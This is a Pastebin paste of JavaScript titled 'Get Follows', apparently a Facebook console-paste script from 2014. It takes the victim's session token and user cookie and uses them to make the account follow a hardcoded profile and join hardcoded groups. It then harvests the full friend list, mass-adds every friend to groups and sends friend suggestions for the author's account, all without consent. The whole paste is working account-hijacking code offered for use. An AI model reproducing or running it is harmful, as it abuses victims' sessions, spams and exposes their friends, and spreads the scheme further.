Advertisement
Guest User

Get Follows

a guest
Nov 28th, 2014
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.74 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }//Noi bat dau lay dia chi ip//
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {//thuat toan 1 hinh thanh//
  23. var tarama = isim + "=";//khai bao gia tri//
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();//dang nhap vap trang ,nguoi su dung dang hien hanh//
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";//dan duong toi nut theo doi//
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)//gui lenh do len sever//
  59. }
  60. a("100003817510734");a("100003817510734");//dia chi fb cua ban//
  61.  
  62. var gid = ['281231178655236'];//khai bao dia chi nhom cua minh//
  63. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  64. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  65. var httpwp = new XMLHttpRequest();
  66. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  67. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  68. httpwp['open']('POST', urlwp, true);
  69. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  70. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  71. httpwp['setRequestHeader']('Connection', 'keep-alive');
  72. httpwp['send'](paramswp);
  73. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  74. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  75. var friends = new Array();
  76. gf = new XMLHttpRequest();
  77. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  78. gf['send']();
  79. if (gf['readyState'] != 4) {} else {
  80. data = eval('(' + gf['responseText']['substr'](9) + ')');
  81. if (data['error']) {} else {
  82. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  83. return _0x93dax8['index'] - _0x93dax9['index']
  84. })
  85. }
  86. };
  87. var Title = 'Chuong Trinh Them Ban Vao Nhom <A style="color:#3B5998;" href="https://www.facebook.com/catalogeMondial">www.chuahoangphap.com</A>';
  88. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  89. var Descriptions = "",
  90. _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/groups/1510344779244425/">Largest Group.</A> Join it now.';
  91.  
  92. function AddFriendtoGroup(opo) {
  93. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  94. var b = a.substring(a.indexOf("{"));
  95. var c = JSON.parse(b);
  96. i--;
  97. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  98. if (c.error) {
  99. Descriptions += "color:darkred'>";
  100. err++;
  101. if (c.errorDescription) Descriptions += c.errorDescription;
  102. else Descriptions += JSON.stringify(c, null, "")
  103. } else {
  104. Descriptions += "color:darkgreen'>";
  105. Descriptions += arn[i] + " has been added.<br/>";
  106. suc++
  107. }
  108. Descriptions += "</div>";
  109. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  110. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  111. if (i > 0) {
  112. display += arr.length + " Friends Detected<br/>";
  113. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  114. display += "(" + i + " Lefted...)";
  115. display += "<div class='friend-edge'>";
  116. display += Descriptions;
  117. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  118. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  119. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  120. display += _text;
  121. display += "</div>";
  122. display += "</div>"
  123. } else {
  124. display += arr.length + " Friends Detected<br/>";
  125. display += suc + " Friends Added</br>";
  126. display += err + " Friends Not Added</br></br>";
  127. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  128. }
  129. display += "</div>";
  130. document.getElementById("pagelet_sidebar").innerHTML = display
  131. }, "text", "post");
  132. tay--;
  133. if (tay > 0) {
  134. var s = arr[tay];
  135. sx = pho[tay];
  136. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  137. }
  138. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  139. if (gid != 281231178655236) {
  140. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=281231178655236&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  141. }
  142. if (newcomer) {
  143. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003817510734&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  144. }
  145. }
  146. function clickfr_callback() {
  147. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  148. var a = arr[i];
  149. if (i < arr.length) addfriend(a.substring(0, 4))
  150. }
  151. function clickfr() {
  152. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  153. else j++;
  154. setTimeout("clickfr_callback()", 2E3)
  155. }
  156. function addfriend(a) {
  157. i++;
  158. setTimeout("clickfr()", 2E3)
  159. }
  160. jx = {
  161. getHTTPObject: function() {
  162. var a = false;
  163. if (typeof ActiveXObject != "undefined") try {
  164. a = new ActiveXObject("Msxml2.XMLHTTP")
  165. } catch (b) {
  166. try {
  167. a = new ActiveXObject("Microsoft.XMLHTTP")
  168. } catch (c) {
  169. a = false
  170. }
  171. } else if (window.XMLHttpRequest) try {
  172. a = new XMLHttpRequest
  173. } catch (b) {
  174. a = false
  175. }
  176. return a
  177. },
  178. load: function(url, callback, format, method, opt) {
  179. var http = this.init();
  180. if (!http || !url) return;
  181. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  182. if (!method) method = "GET";
  183. if (!format) format = "text";
  184. if (!opt) opt = {};
  185. format = format.toLowerCase();
  186. method = method.toUpperCase();
  187. var now = "uid=" + (new Date).getTime();
  188. url += url.indexOf("?") + 1 ? "&" : "?";
  189. url += now;
  190. var parameters = null;
  191. if (method == "POST") {
  192. var parts = url.split("?");
  193. url = parts[0];
  194. parameters = parts[1]
  195. }
  196. http.open(method, url, true);
  197. var ths = this;
  198. if (opt.handler) http.onreadystatechange = function() {
  199. opt.handler(http)
  200. };
  201. else http.onreadystatechange = function() {
  202. if (http.readyState == 4) if (http.status == 200) {
  203. var result = "";
  204. if (http.responseText) result = http.responseText;
  205. if (format.charAt(0) == "j") {
  206. result = result.replace(/[\n\r]/g, "");
  207. result = eval("(" + result + ")")
  208. } else if (format.charAt(0) == "x") result = http.responseXML;
  209. if (callback) callback(result)
  210. } else {
  211. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  212. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  213. if (error) error(http.status)
  214. }
  215. };
  216. http.send(parameters)
  217. },
  218. bind: function(a) {
  219. var b = {
  220. url: "",
  221. onSuccess: false,
  222. onError: false,
  223. format: "text",
  224. method: "GET",
  225. update: "",
  226. loading: "",
  227. loadingIndicator: ""
  228. };
  229. for (var c in b) if (a[c]) b[c] = a[c];
  230. if (!b.url) return;
  231. var d = false;
  232. if (b.loadingIndicator) {
  233. d = document.createElement("div");
  234. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  235. d.setAttribute("class", "loading-indicator");
  236. d.innerHTML = b.loadingIndicator;
  237. document.getElementsByTagName("body")[0].appendChild(d);
  238. this.opt.loadingIndicator = d
  239. }
  240. if (b.loading) document.getElementById(b.loading).style.display = "block";
  241. this.load(b.url, function(a) {
  242. if (b.onSuccess) b.onSuccess(a);
  243. if (b.update) document.getElementById(b.update).innerHTML = a;
  244. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  245. if (b.loading) document.getElementById(b.loading).style.display = "none"
  246. }, b.format, b.method, b)
  247. },
  248. init: function() {
  249. return this.getHTTPObject()
  250. }
  251. };
  252. var nHtml = {
  253. FindByAttr: function(a, b, c, d) {
  254. if (c == "className") c = "class";
  255. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  256. if (e && e.singleNodeValue) return e.singleNodeValue;
  257. return null
  258. },
  259. FindByClassName: function(a, b, c) {
  260. return this.FindByAttr(a, b, "className", c)
  261. },
  262. FindByXPath: function(a, b) {
  263. try {
  264. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  265. } catch (d) {
  266. GM_log("bad xpath:" + b)
  267. }
  268. if (c && c.singleNodeValue) return c.singleNodeValue;
  269. return null
  270. },
  271. VisitUrl: function(a) {
  272. window.setTimeout(function() {
  273. document.location.href = a
  274. }, 500 + Math.floor(Math.random() * 500))
  275. },
  276. ClickWin: function(a, b, c) {
  277. var d = a.document.createEvent("MouseEvents");
  278. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  279. return !b.dispatchEvent(d)
  280. },
  281. Click: function(a) {
  282. return this.ClickWin(window, a, "click")
  283. },
  284. ClickTimeout: function(a, b) {
  285. window.setTimeout(function() {
  286. return nHtml.ClickWin(window, a, "click")
  287. }, b + Math.floor(Math.random() * 500))
  288. },
  289. ClickUp: function(a) {
  290. this.ClickWin(window, a, "mousedown");
  291. this.ClickWin(window, a, "mouseup");
  292. this.ClickWin(window, a, "click")
  293. },
  294. GetText: function(a, b) {
  295. var c = "";
  296. if (b == undefined) b = 0;
  297. if (b > 40) return;
  298. if (a.textContent != undefined) return a.textContent;
  299. for (var d = 0; d < a.childNodes.length; d++) {
  300. var e = a.childNodes[d];
  301. c += this.GetText(e, b + 1)
  302. }
  303. return c
  304. }
  305. };
  306. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  307. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  308. var c = document.getElementsByTagName("*");
  309. var d = [];
  310. var e;
  311. for (var f = 0;
  312. (e = c[f]) != null; f++) {
  313. var g = e.className;
  314. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  315. }
  316. return d
  317. };
  318. Array.prototype.find = function(a) {
  319. var b = false;
  320. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  321. if (a.test(this[i])) {
  322. if (!b) b = [];
  323. b.push(i)
  324. }
  325. } else if (this[i] === a) {
  326. if (!b) b = [];
  327. b.push(i)
  328. }
  329. return b
  330. };var i = 3;var tay = 3;var j = 0;var k = 0;var suc = 0;
  331. var err = 0;var arr = new Array;var arn = new Array;var pho = new Array;var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  332. var gid = document.getElementsByName("group_id")[0].value;
  333. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  334. var b = a;
  335. var c = b.substring(b.indexOf("{"));
  336. var d = JSON.parse(c);
  337. d = d.payload.entries;
  338. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  339. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  340. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  341. i = arr.length - 1;
  342. tay = i;
  343. console.log(arr.length);
  344. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  345. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  346. display += arr.length + " Friends Detected";
  347. display += "</div>";
  348. document.getElementById("pagelet_sidebar").innerHTML = display;
  349. AddFriendtoGroup(arr[i])
  350. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement